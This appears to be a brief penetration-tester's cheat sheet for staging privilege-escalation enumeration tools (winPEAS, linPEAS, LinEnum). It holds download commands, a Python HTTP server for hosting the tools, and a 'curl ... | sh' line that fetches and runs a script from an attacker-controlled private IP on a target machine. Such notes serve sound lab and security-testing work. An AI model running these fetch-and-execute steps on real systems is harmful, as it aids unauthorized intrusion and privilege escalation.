PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation
This is the go to script I use at the moment. Frequently updated, available here on GitHub:
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220731/winPEASx64.exe
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220731/winPEAS.bat
PowerShell Invoke-WebRequest -Uri http://10.14.6.200:8000/winPEASx64.exe -Outfile winpeas.exe
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220731/linpeas_linux_amd64
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220731/linpeas.sh
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
curl http://10.9.17.195:8000/LinEnum.sh | sh